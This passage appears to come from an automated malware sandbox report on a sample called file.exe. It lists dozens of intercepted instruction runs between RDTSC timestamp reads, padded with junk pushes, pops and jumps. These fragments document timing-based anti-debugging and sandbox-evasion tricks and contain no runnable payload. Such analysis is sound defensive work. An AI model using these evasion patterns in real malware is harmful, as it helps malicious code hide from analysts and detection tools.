Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A583FD second address: A58401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CE72 second address: A5CE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CE7C second address: A5CE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CE85 second address: A5CE8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D1CA second address: A5D1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D7BD second address: A5D7D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B51F62D0h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D7D6 second address: A5D7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D92F second address: A5D939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DA7B second address: A5DA95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F29B559C4B6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F29B559C4BCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DA95 second address: A5DA99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DC1F second address: A5DC25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DC25 second address: A5DC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DC2B second address: A5DC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DC2F second address: A5DC53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F29B51F62D0h 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F29B51F62C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DC53 second address: A5DC7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C4h 0x00000007 jmp 00007F29B559C4BFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DF86 second address: A5DFA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D3h 0x00000007 jc 00007F29B51F62CEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2F79 second address: 9D2F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2F7D second address: 9D2F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2F83 second address: 9D2FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F29B559C4C8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D14AC second address: 9D14B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61FF2 second address: A62003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F29B559C4B6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62003 second address: A62007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62007 second address: A62011 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F29B559C4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62011 second address: A62050 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F29B51F62D1h 0x00000008 jmp 00007F29B51F62CBh 0x0000000d jno 00007F29B51F62CEh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jg 00007F29B51F62EFh 0x0000001b push edi 0x0000001c jmp 00007F29B51F62D3h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FDA4 second address: A1FDB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FDB3 second address: A1FDBD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F29B51F62CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FE4A second address: A1FE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4C4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A624C7 second address: A624FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F29B51F62D4h 0x00000008 pop eax 0x00000009 je 00007F29B51F62D0h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F29B51F62C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A624FA second address: A624FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62622 second address: A62627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6293F second address: A62975 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F29B559C4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F29B559C4C5h 0x00000013 jmp 00007F29B559C4C3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62A91 second address: A62A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62A95 second address: A62A9F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F29B559C4B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62A9F second address: A62AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62AA5 second address: A62AAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6552B second address: A65531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A687BE second address: A687C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A687C3 second address: A687CD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F29B51F62CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6809E second address: A680CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 je 00007F29B559C4B6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F29B559C4C7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A680CA second address: A680CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A684C2 second address: A684D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A684D4 second address: A684DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A684DB second address: A684E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6EAD1 second address: A6EAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2066A second address: A20678 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F29B559C4BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6EF0D second address: A6EF2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F29B51F62D3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6EF2B second address: A6EF30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6EF30 second address: A6EF43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F29B51F62C6h 0x0000000d jl 00007F29B51F62C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6F0A8 second address: A6F0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6FA62 second address: A6FA68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6FA68 second address: A6FA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6FA82 second address: A6FA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73EE3 second address: A73EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4BFh 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73EFB second address: A73F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73F01 second address: A73F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73390 second address: A733A0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F29B51F62C6h 0x00000008 je 00007F29B51F62C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A734FB second address: A73503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73503 second address: A73509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77133 second address: A7713D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F29B559C4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA9FC second address: 9CAA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAA00 second address: 9CAA15 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F29B559C4BCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAA15 second address: 9CAA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAA1B second address: 9CAA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CAA21 second address: 9CAA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7683A second address: A76844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F29B559C4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA9EE second address: 9CA9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A769B3 second address: A769CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A769CD second address: A769DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7EBC0 second address: A7EBCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jns 00007F29B559C4B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7EBCC second address: A7EBD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7EBD0 second address: A7EBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CC6E second address: A7CC88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D0ED second address: A7D0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D0F3 second address: A7D0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F29B51F62C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D429 second address: A7D430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D720 second address: A7D726 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DCF7 second address: A7DD26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4BAh 0x00000007 jmp 00007F29B559C4C4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F29B559C4D0h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DFD2 second address: A7DFE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F29B51F62CAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E5F1 second address: A7E619 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F29B559C4B6h 0x00000009 jp 00007F29B559C4B6h 0x0000000f pop esi 0x00000010 push ecx 0x00000011 jne 00007F29B559C4B6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d je 00007F29B559C4B8h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E619 second address: A7E62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F29B51F62C6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E62A second address: A7E62E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E91F second address: A7E92F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F29B51F62C6h 0x0000000a jnp 00007F29B51F62C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84267 second address: A8426D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8426D second address: A84271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A844DD second address: A844E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A844E1 second address: A84515 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F29B51F62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F29B51F62CEh 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F29B51F62DDh 0x00000019 jmp 00007F29B51F62D1h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84515 second address: A84525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F29B559C4B6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84525 second address: A8452D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8467C second address: A8469A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C4h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8469A second address: A8469E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8469E second address: A846A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A846A4 second address: A846C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F29B51F62D4h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A846C2 second address: A846D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84972 second address: A849A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B51F62CFh 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F29B51F62D4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A849A1 second address: A849B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F29B559C4B6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A849B1 second address: A849C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84B31 second address: A84B3D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F29B559C4B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84C71 second address: A84C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A899B1 second address: A899BB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F29B559C4B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A899BB second address: A899C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A899C1 second address: A899F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F29B559C4C3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FE63 second address: A8FE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FE67 second address: A8FEAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F29B559C4B8h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jmp 00007F29B559C4C2h 0x0000001a pushad 0x0000001b popad 0x0000001c pop eax 0x0000001d jmp 00007F29B559C4BDh 0x00000022 rdtsc
